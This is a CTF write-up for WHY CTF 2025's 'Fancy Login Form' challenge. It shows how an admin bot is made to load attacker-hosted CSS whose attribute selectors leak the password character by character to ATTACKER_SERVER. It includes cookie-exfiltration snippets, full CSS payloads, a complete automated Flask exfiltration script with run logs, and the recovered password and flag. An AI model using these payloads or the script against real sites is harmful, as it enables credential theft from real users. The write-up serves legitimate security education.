Skip to content

WHY CTF 2025: Fancy Login Form

TL;DR

  • Login page has a report feature that sends the current URL to an admin bot.
  • Admin will only visit URLs on the original domain, but the theme parameter allows an external CSS URL.
  • Attacker-controlled CSS is loaded by the admin browser.
  • JavaScript updates the password field's value attribute on every keypress.
  • CSS attribute selectors (input[value^=X]) are used as an oracle to leak the password prefix.
  • Background-image URLs trigger requests to the attacker server, leaking characters one-by-one.
  • Full admin password is recovered and used to log in and obtain the flag.

Video Walkthrough

Fancy Login Form – WHY CTF 2025

Description

We created a login form with different themes, hope you like it!

Hint: The admin will only visit its OWN URL

Solution

We arrive to a login page, but no registration function. I try default creds, SQLi etc.

Login page with username and password fields and a theme selector

There's a button to dynamically change the theme, which updates a CSS path but doesn't seem particularly interesting. There's also a "report" button. If we click it, a report is automatically sent.

Report button clicked showing confirmation that an admin will visit the submitted URL

Checking the HTTP history in burp suite, there is a POST request to /report.php with the following parameter:

url=https://fancy-login-form.ctf.zone/?theme=css/ocean

We can also see the JS code responsible for issuing the request.

document.getElementById("report").addEventListener("click", (e) => {
    var url = window.location.href;
    var xhr = new XMLHttpRequest();
    xhr.open("POST", "/report.php", true);
    xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8");
    xhr.send("url=" + url);
    document.getElementById("report-box").style.display = "none";
    document.getElementById("report-button").style.display = "block";
    document.getElementById("report").disabled = "true";
    document.getElementById("report-text").textContent = "Report sent! An admin will visit the URL shortly!";
});

Open Redirect

At first, I think of XSS and replace the url with my own server URL (ngrok), but don't get a hit. I remember the hint "The admin will only visit its OWN URL" and realise we also have an open redirect. We can supply the theme parameter of the URL our own domain.

url=https://fancy-login-form.ctf.zone/?theme=https://ATTACKER_SERVER/css/ocean

We get a hit for the /css/ocean.css file (meaning we don't control the file extension), so we can create that file on our server. Let's set the contents to import a background image.

body {
    background-image: url("https://ATTACKER_SERVER?flag=meow");
}

The server gets a hit!

Attacker server receives a request for the theme CSS file indicating external CSS was loaded

Unfortunately, I tried various payloads to execute JS here, e.g.

body {
    background-image: url("https://ATTACKER_SERVER?flag=" + document.cookie);
}

These resulted in no request being made to the attacker server (not just a missing cookie). I also tried hosting an external JS file, e.g.

var img = new Image();
img.src = "https://ATTACKER_SERVER?flag=" + document.cookie;

Which we import via the attacker-controlled CSS.

@import url("https://ATTACKER_SERVER/payload.js");

It successfully imports, but we don't get the ?flag request.

External JavaScript imported via CSS does not execute, showing only CSS loads without JS execution

I tried a variety of payloads/formats here but each had the same issue, e.g.

fetch("https://ATTACKER_SERVER?flag=" + document.cookie, {
    method: "GET",
    headers: {
        "Content-Type": "application/json",
    },
});

I tested this a little in my own browser and spotted the following error.

Browser devtools showing an error when attempting to run JavaScript via CSS-based payloads

Still playing around in the browser devtools style editor, I try a different CSS payload.

@font-face {
    font-family: "meow";
    src: url("https://ATTACKER_SERVER/payload.js");
}

body {
    font-family: "meow";
}

Testing @font-face with a remote URL to trigger a request from the victim browser

I investigated/tested some more techniques from these excellent resources:

Exfiltration via CSS Injection

When reading the blogs, I noticed a method to exfiltrate data from form fields using CSS. I reviewed the source code again and realised there was some JS updating a password attribute each time a key was pressed.

const inp = document.getElementById("password");
inp.addEventListener("keyup", (e) => {
    inp.setAttribute("value", inp.value);
});

The fact they only do this for the password, not the username, made me suspicious 🔎 I updated the CSS in the devtools style editor.

input[name="password"][value^="a"] {
    background-image: url(https://ATTACKER_SERVER/a);
}

When I typed "a" into the password field, I saw a request to the /a endpoint on my server.

Attacker server log showing requests triggered by CSS attribute selectors matching typed password prefixes

So, we can host the following in our CSS file. It will check if the first character of the password field matches any character in the alphabet (or digits).

input[name="password"][value^="a"] {
    background-image: url("https://ATTACKER_SERVER/a");
}
input[name="password"][value^="b"] {
    background-image: url("https://ATTACKER_SERVER/b");
}
input[name="password"][value^="c"] {
    background-image: url("https://ATTACKER_SERVER/c");
}
input[name="password"][value^="d"] {
    background-image: url("https://ATTACKER_SERVER/d");
}
input[name="password"][value^="e"] {
    background-image: url("https://ATTACKER_SERVER/e");
}
input[name="password"][value^="f"] {
    background-image: url("https://ATTACKER_SERVER/f");
}
/** Add the remaining input elements for a-zA-Z0-9**/

Then send the admin our CSS URL.

https://fancy-login-form.ctf.zone/?theme=https://ATTACKER_SERVER/css/ocean

In our HTTP log, we'll get the first character of the password ("F")!

HTTP Requests
-------------
21:06:37.376 BST GET /F                         404 File not found
21:06:36.748 BST GET /css/ocean.css             200 OK

We just need to repeat this for each character. You could automate this into a nice script but I went for the manual approach (was super slow, don't recommend lol); use find/replace and replace value^= with value^=F. Repeat this until we get it all.

Note: I realised that the password has special chars, so after finding F0x13foXtrOT, I added some more elements to the CSS.

input[name=password][value^=F0x13foXtrOT\!] { background-image: url('https://ATTACKER_SERVER/!'); }
input[name=password][value^=F0x13foXtrOT\@] { background-image: url('https://ATTACKER_SERVER/@'); }
input[name=password][value^=F0x13foXtrOT\#] { background-image: url('https://ATTACKER_SERVER/#'); }
input[name=password][value^=F0x13foXtrOT\$] { background-image: url('https://ATTACKER_SERVER/$'); }
input[name=password][value^=F0x13foXtrOT\%] { background-image: url('https://ATTACKER_SERVER/%'); }
input[name=password][value^=F0x13foXtrOT\^] { background-image: url('https://ATTACKER_SERVER/^'); }
input[name=password][value^=F0x13foXtrOT\&] { background-image: url('https://ATTACKER_SERVER/&'); }
input[name=password][value^=F0x13foXtrOT\*] { background-image: url('https://ATTACKER_SERVER/*'); }
input[name=password][value^=F0x13foXtrOT\(] { background-image: url('https://ATTACKER_SERVER/('); }
input[name=password][value^=F0x13foXtrOT\)] { background-image: url('https://ATTACKER_SERVER/)'); }
input[name=password][value^=F0x13foXtrOT\_] { background-image: url('https://ATTACKER_SERVER/_'); }
input[name=password][value^=F0x13foXtrOT\-] { background-image: url('https://ATTACKER_SERVER/-'); }
input[name=password][value^=F0x13foXtrOT\+] { background-image: url('https://ATTACKER_SERVER/+'); }
input[name=password][value^=F0x13foXtrOT\~] { background-image: url('https://ATTACKER_SERVER/~'); }
input[name=password][value^=F0x13foXtrOT\[ ] { background-image: url('https://ATTACKER_SERVER/['); }
input[name=password][value^=F0x13foXtrOT\\] { background-image: url('https://ATTACKER_SERVER/]'); }
input[name=password][value^=F0x13foXtrOT\|] { background-image: url('https://ATTACKER_SERVER/|'); }
input[name=password][value^=F0x13foXtrOT\;] { background-image: url('https://ATTACKER_SERVER/;'); }
input[name=password][value^=F0x13foXtrOT\:'"] { background-image: url('https://ATTACKER_SERVER/:\'"'); }
input[name=password][value^=F0x13foXtrOT\,] { background-image: url('https://ATTACKER_SERVER/,'); }
input[name=password][value^=F0x13foXtrOT\.] { background-image: url('https://ATTACKER_SERVER/.'); }
input[name=password][value^=F0x13foXtrOT\/] { background-image: url('https://ATTACKER_SERVER//'); }

The full password is F0x13foXtrOT&Elas7icBe4n5, we can login with:

admin:F0x13foXtrOT&Elas7icBe4n5
Welcome admin! You earned yourself a flag: flag{6b1f095e79699a79dc4a366c1131313e}

After submitting the flag, I decided to use ChatGPT to write an automated solve script. I should have done this at the start, to reduce manual effort/error 😆

from flask import Flask, Response
from urllib.parse import quote
import argparse
import requests

app = Flask(__name__)

S = {
    'attacker': 'https://ATTACKER_SERVER',
    'target': 'https://fancy-login-form.ctf.zone',
    'report_path': '/report.php',
    'charset': 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()_+-=~[]\\|;:\'",./',
    'prefix': '',
    'auto_revisit': True
}


def css_attr_escape(s: str) -> str:
    return s.replace("\\", "\\\\").replace('"', '\\"')


@app.get("/")
def idx():
    return f"prefix:{S['prefix']} css:{S['attacker']}/css/ocean"


@app.get("/css/ocean.css")
def ocean():
    p = S['prefix']
    rules = []
    for ch in S['charset']:
        cand = p + ch
        leak = f"{S['attacker']}/leak/{quote(cand, safe='')}"
        sel = f'input[name="password"][value^="{css_attr_escape(cand)}"]'
        rules.append(f"{sel}{{background-image:url('{leak}')}}")
    css = ''.join(rules)
    resp = Response(css, mimetype="text/css")
    resp.headers['Cache-Control'] = 'no-store, no-cache, must-revalidate, max-age=0'
    resp.headers['Pragma'] = 'no-cache'
    resp.headers['Expires'] = '0'
    return resp


@app.get("/leak/<path:cand>")
def leak(cand):
    if cand.startswith(S['prefix']) and len(cand) > len(S['prefix']):
        S['prefix'] = cand
        print("[+]", S['prefix'], flush=True)
        if S.get('auto_revisit'):
            try:
                url = f"{S['target']}/?theme={S['attacker']}/css/ocean"
                r = requests.post(S['target'] + S['report_path'],
                                  data={'url': url}, timeout=8)
                print("[*] re-report", r.status_code)
            except Exception as e:
                print("[!] re-report failed:", e)
    return ""


def report():
    url = f"{S['target']}/?theme={S['attacker']}/css/ocean"
    r = requests.post(S['target'] + S['report_path'],
                      data={'url': url}, timeout=8)
    print("[*] report", r.status_code)


if __name__ == "__main__":
    ap = argparse.ArgumentParser()
    ap.add_argument("--attacker")
    ap.add_argument("--target")
    ap.add_argument("--report-path")
    ap.add_argument("--charset")
    ap.add_argument("--start-prefix")
    ap.add_argument("--no-auto", action="store_true")
    ap.add_argument("--host", default="0.0.0.0")
    ap.add_argument("--port", type=int, default=80)
    a = ap.parse_args()

    if a.attacker:
        S['attacker'] = a.attacker.rstrip("/")
    if a.target:
        S['target'] = a.target.rstrip("/")
    if a.report_path:
        S['report_path'] = a.report_path
    if a.charset:
        S['charset'] = a.charset
    if a.start_prefix:
        S['prefix'] = a.start_prefix
    if a.no_auto:
        S['auto_revisit'] = False

    try:
        report()
    except Exception as e:
        print("[!] initial report failed:", e)
    print("[*] serve CSS at", S['attacker'] + "/css/ocean.css")
    app.run(host=a.host, port=a.port, debug=False)
sudo python exfil.py

[*] report 200
[*] serve CSS at https://ATTACKER_SERVER/css/ocean.css
 * Serving Flask app 'exfil'
 * Debug mode: off
WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead.
 * Running on all addresses (0.0.0.0)
 * Running on http://127.0.0.1:80
 * Running on http://192.168.16.128:80
Press CTRL+C to quit
127.0.0.1 - - [12/Aug/2025 09:29:26] "GET /css/ocean.css HTTP/1.1" 200 -
[+] F
[*] re-report 200
127.0.0.1 - - [12/Aug/2025 09:29:32] "GET /leak/F HTTP/1.1" 200 -
127.0.0.1 - - [12/Aug/2025 09:29:42] "GET /css/ocean.css HTTP/1.1" 200 -
[+] F0
[*] re-report 200
127.0.0.1 - - [12/Aug/2025 09:29:58] "GET /leak/F0 HTTP/1.1" 200 -
127.0.0.1 - - [12/Aug/2025 09:30:07] "GET /css/ocean.css HTTP/1.1" 200 -
[+] F0x

Terminal output from an automated CSS exfiltration script recovering the password prefix incrementally

Flag: flag{6b1f095e79699a79dc4a366c1131313e}